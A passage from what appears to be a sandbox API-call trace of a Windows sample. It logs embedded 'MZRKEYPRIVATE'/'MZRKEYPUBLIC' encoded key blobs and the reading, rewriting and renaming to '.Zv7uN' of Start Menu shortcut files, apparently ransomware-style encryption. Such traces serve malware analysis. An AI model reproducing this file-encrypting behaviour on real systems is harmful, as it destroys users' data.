lpUsedDefaultChar=0x0) returned 2469 [0132.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.935] GetCurrentThreadId () returned 0xa30 [0132.935] GetCurrentThreadId () returned 0xa30 [0132.935] GetCurrentThreadId () returned 0xa30 [0132.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.936] GetCurrentThreadId () returned 0xa30 [0132.936] GetCurrentThreadId () returned 0xa30 [0132.936] GetCurrentThreadId () returned 0xa30 [0132.936] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.936] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.936] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.937] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4fa [0132.937] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.937] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4fa, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4fa, lpOverlapped=0x0) returned 1 [0132.945] CloseHandle (hObject=0x1e8) returned 1 [0132.946] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.948] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4fa, lpOverlapped=0x0) returned 1 [0132.950] CloseHandle (hObject=0x1e8) returned 1 [0132.950] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.zv7un")) returned 1 [0132.951] GetCurrentThreadId () returned 0xa30 [0132.951] GetCurrentThreadId () returned 0xa30 [0132.951] GetCurrentThreadId () returned 0xa30 [0132.951] GetCurrentThreadId () returned 0xa30 [0132.952] GetCurrentThreadId () returned 0xa30 [0132.952] GetCurrentThreadId () returned 0xa30 [0132.952] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0132.952] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.952] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.952] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5)) returned 1 [0132.954] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk")) returned 0x20 [0132.954] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk", dwFileAttributes=0x80) returned 1 [0132.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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